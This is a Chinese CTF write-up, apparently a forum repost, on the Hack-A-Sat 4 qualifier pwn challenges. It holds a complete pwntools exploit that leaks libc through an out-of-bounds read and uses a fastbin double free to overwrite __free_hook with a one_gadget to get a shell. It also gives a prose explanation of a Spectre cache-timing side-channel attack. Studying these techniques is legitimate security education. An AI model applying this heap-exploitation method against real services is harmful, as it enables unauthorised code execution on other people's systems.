[原创]Hack-A-Sat 4 Qualifiers pwn部分wp
2023-4-7 15:27:35 Author: bbs.pediy.com(查看原文) 阅读量:8 收藏

在程序解析十六进制消息时,会将2个字符解析为一个字节中的十六进制数,如果输入的字符数量为奇数,节点中设置信息时CalcPayloadLen函数会保存原来的长度,在读取信息时会根据节点中保存的长度输出内存中的数据,可以越界读。

由于在输入数据时,使用string保存用户输入数据,则可以输入很多字符,string会自动成倍扩充内存长度,足够大时会将堆内存释放到unsrted bin,再利用越界读泄露libc地址。

可以将第一个队列填满后广播,则试图插入第一个队列会释放存放节点数据的堆内存,第二个队列会正常插入节点,由于tcache不能直接double free,在fastbin中构造A->B->A的经典double free姿势,申请tcache时会将double free的堆块放入tcache,改free_hook完成利用

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

from pwn import *

import sys

import time

context.log_level = 'debug'

context.arch='amd64'

def exp(ip, port):

    local=0

    binary_name='magic'

    libc_name='libc-2.31.so'

    libc=ELF("./"+libc_name)

    e=ELF("./"+binary_name)

    if local:

        p=process("./"+binary_name)

    else:

        p=remote(ip,port)

    def z(a=''):

        if local:

            gdb.attach(p,a)

            if a=='':

                raw_input

        else:

            pass

    ru=lambda x:p.recvuntil(x)

    sl=lambda x:p.sendline(x)

    sd=lambda x:p.send(x)

    sa=lambda a,b:p.sendafter(a,b)

    sla=lambda a,b:p.sendlineafter(a,b)

    ia=lambda :p.interactive()

    def cho(choice):

        ru('>')

        sl(str(choice))

    def post(msg_id, pipe_id, x, msg):

        cho(1)

        ru('msg_id:')

        sl(str(msg_id))

        ru('pipe_id:')

        sl(str(pipe_id))

        ru('hex:')

        sl(str(x))

        ru('post on bus:')

        sl(msg)

    def handle0():

        cho(2)

    def handle1():

        cho(3)

    if 0==local:

        ru('Ticket please:\n')

        sl('ticket{}')

    post(100, 1, 1, '1'*0x781)

    handle1()

    ru('0x1 0 0 0 0 0 0 0 0x21')

    for i in range(23):

        ru(' ')

    heap=0

    for i in range(6):

        ru(' ')

        tmp = int(p.recv(4)[2:],16)

        heap = heap | (tmp<<(i*8))

    log.info(hex(heap))

    for i in range(10):

        ru(' ')

    libcbase=0

    for i in range(6):

        ru(' ')

        tmp = int(p.recv(4)[2:],16)

        libcbase = libcbase | (tmp<<(i*8))

    libcbase -= 0x1ecbe0

    log.info(hex(libcbase))

    post(101, 0, 0, '2'*0x68)

    for i in range(10):

        post(101, 255, 0, '2'*0x68)

    for i in range(9):

        handle1()

    for i in range(10):

        handle0()

    for i in range(6):

        post(101, 0, 0, '2'*0x68)

    post(101, 1, 0, '2'*0x68)

    post(101, 0, 0, '2'*0x68)

    post(101, 0, 0, '2'*0x68)

    for i in range(7):

        handle0()

    handle1()

    handle0()

    handle1()

    free_hook = libc.symbols['__free_hook']+libcbase

  log.info(hex(free_hook))

    one = [0xe3afe, 0xe3b01, 0xe3b04]

    for i in range(7):

        post(101, 0, 0, '2'*0x68)

    post(101, 1, 0, p64(free_hook)+b'2'*0x60)

    post(101, 1, 0, b'2'*0x68)

    post(101, 1, 0, b'2'*0x68)

    post(101, 1, 0, p64(libcbase+one[1])+b'2'*0x60)

    p.interactive()

    return ''

if __name__ == "__main__":

    flag = exp('magic.quals2023-kah5Aiv9.satellitesabove.me', 5300)

由于现代CPU为了提高效率会使用乱序发射指令,对于分支跳转指令有分支预测功能,即在执行指令时会预测之后会走的分支,提前(乱序)执行后面的代码,在真正执行到时若预测失败再将寄存器上下文信息复原,若预测成功则可以大大提高性能。

幽灵攻击是基于时间的侧信道攻击,首先要有array1[array2[i]]这样的访存语句(会对i进行一些数组越界检查),并且要清空所有的cache排除干扰,思路是提前执行一些指令去训练CPU的分支预测器,即多次循环都是满足检查条件正常访问内存,在最后攻击时访问目标不可访问的内存,而CPU乱序执行会按照之前的经验提前预测这次也可以访问,将此时的array1[array2[i]]读取出来,而实际上由于此时的i不符合检查,是不能访问的。

在真正执行到判断指令时发现预测失败,把寄存器等上下文都再恢复回原来的数据,执行正确的跳转,虽然内存和寄存器中都没有保存目标内存array1[array2[i]]中的数据,但是此时目标内存的数据由于被读取过,其所在的cache行已经被调到cache中,只要遍历[array1[i] for i in range(32, 127)],这时如果cache命中,访问的时间会很短,以此作为概率去猜测i越界时array2[i]中的值


文章来源: https://bbs.pediy.com/thread-276771.htm
如有侵权请联系:admin#unsafe.sh